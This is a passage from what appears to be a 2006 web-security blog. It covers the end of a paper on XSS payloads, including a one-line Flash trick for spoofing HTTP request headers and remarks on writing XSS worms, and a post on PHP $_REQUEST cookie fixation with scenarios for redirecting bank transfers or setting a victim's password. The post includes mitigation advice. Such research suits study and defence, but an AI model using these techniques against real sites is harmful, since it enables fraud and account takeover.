headers (e.g. Host and Content-Length) by appending colon to the
header name (this technique was described in [3] in the context
of XmlHttpRequest):

req.addRequestHeader("Host:","foobar.site");

This technique doesn't appear to work in FireFox 1.5.0.4.

After a bit of testing it is dissapointing to learn that if headers are sent more than once then PHP simply appends them together with a comma and a space as separaters, and since most web apps will only check if a string is equal, this rules out Referer spoofing on Firefox.

Sending POST requests is still possible though, and so if you need to send post requests but do not need to perform Referer spoofing and don't want to worry about finding source code in the page, and how AJAX works, getting it to work on IE, etc, then Flash is a very nice choice.

I don't think I need to provide an example for this section, so unless someone really needs one (which I hope you don't), so you'll have to write your own.

======================
5.0 Final Notes
======================

As you can see if you can execute arbitary Javascript code you can do a lot of damage, especially if you have access ot the XXMLHttpRequest Object, in which case you can forge absolutely everything which does not require user intelligence (such as being able to decode a CAPTCHA, which you can socially engineer the victim into decoding for you anyway, or having the user enter a assword or similar).

Also, to minimise the size of the code here you can always do things like replacing all my calls to the [String.]concat() method to concatenate strings, with plus signs to concatenate strings, or performing other little shortcuts, or shortening variable names, but the code should be short enough to pass in most places.

Update:Furthermore, if you have the ability to embed Flash files, then writing an XSS worm is generally much simpler than using AJAX, but it is also something that you will rarely find when trying to evade filters. So if you are more comfortable using Flash then your life just got much easier.

A quick explanatory note:
First of all Flash was initially left out because I only knew about the method of executing Javascript and thought that would be better covered somewhere which deals with XSS vectors rather than their payloads, and so did not choose to include it. I have included the simple version in version 0.3 for a bit more completeness. Amit Klien's paper came out about 2-3 weeks after I published version 0.2 of this (which itself was published more than 2 months before that), and as I had only very ilmited experience with Flash I did not myself know of the system in place.

Written by kuza55.

Update:
======================
6.0 References
======================
Everything up to version 0.2 was done from my own knowledge and discovery and so a references section was not needed. Now with the addition of Flash I have some references.
[1] "Forging HTTP Request Headers with Flash ActionScript" by Amit Klein
http://www.securityfocus.com/archive/1/441014/30/

$_REQUEST Variable Fixation

2006-03-09T17:33:00.000+11:00

===================================
$_REQUEST Variable Fixation
===================================

The issue described here is one that also affects register_globals, but unlike register_globals there are no plans to remove $_REQUEST. This issue is not an exploit in itself, but is one that developers should be aware of nonetheless.

=============
Background
=============

The issue with $_REQUEST is not some fault, but it is an issue it has by virtue of what it attempts to do. $_REQUEST is populated from the same sources as the superglobal arrays defined in the php.ini setting variables_order, here is php.net's explanation of what it affects:

Set the order of the EGPCS (Environment, GET, POST, Cookie, Server) variable parsing. The default setting of this directive is "EGPCS". Setting this to "GP", for example, will cause PHP to completely ignore environment variables, cookies and server variables, and to overwrite any GET method variables with POST-method variables of the same name.

In the default setting (EGPCS) $_REQUEST is first populated with the data of $_ENV, and then with $_GET, and if there are any keys which are the same the keys already in $_REQUEST are overriden with those in $_GET, and then the process is repeated for $_POST, $_COOKIE and $_SERVER.

=============
The Issue
=============

The issue is that if an attacker is able to set a cookie with the same key as say a form element or GET variable, then the script will act on the value in the cookie untill it is removed.

Now, what actual applications can this have you ask? Well, imagine someone finds an XSS flaw in an otherwise completely secure application, where even if you obtain the session ID via this XSS hole you won't be able to do much because only one session can be active at a time, and the session id gets regenerated on every page, and the session is also bound to the user's IP, so even if you have the cookie data there isn't much you can do, and the users of the target application are generally careful enough to only enter their password in the proper place (so using the XSS hole to create a username/password form would be out of the question).
Now if this application were lets say, a bank's site, and they used $_REQUEST for getting data from the user, and the attacker then set a cookie with the key the same as the key of the field where the user enters the bank account ID where to transfer money, and sets the cookie's value to an account number which corresponds to an account under the attacker's control.

Another situation where this could be employed would be when a site uses $_REQUEST to get a new password from a user when allowing users to change their password, and you can set a cookie to make the application set a password of your liking.

=============
Conclusion
=============
While this is an interesting idea in my view, it is probably one of low severity, and its actual applications would be limited, so while its nothing to start auditing your code over it would be wise to either edit the variables_order directive to remove cookies and server variables, and maybe even environment variables, because there is only a very limited need for applications which can support input through many different methods (i.e. $_POST, $_GET, $_COOKIE, $_ENV, $SERVER), and it would be wise to reconsider your need for it, but if you decide you do need it then there is no real reason not to, though it is an issue you should be aware of.

- kuza55

Introduction...

2006-03-09T17:25:00.000+11:00

Well, I'm starting this blog because I'm too lazy to get myself a host and then have to maintain my code, when its so much easier to just use Blogger....

.....And I'd decided I wanted to post what I'm going to post very soon, and didn't have anywhere to do so, so yeah, I hope you find something interesting on here.....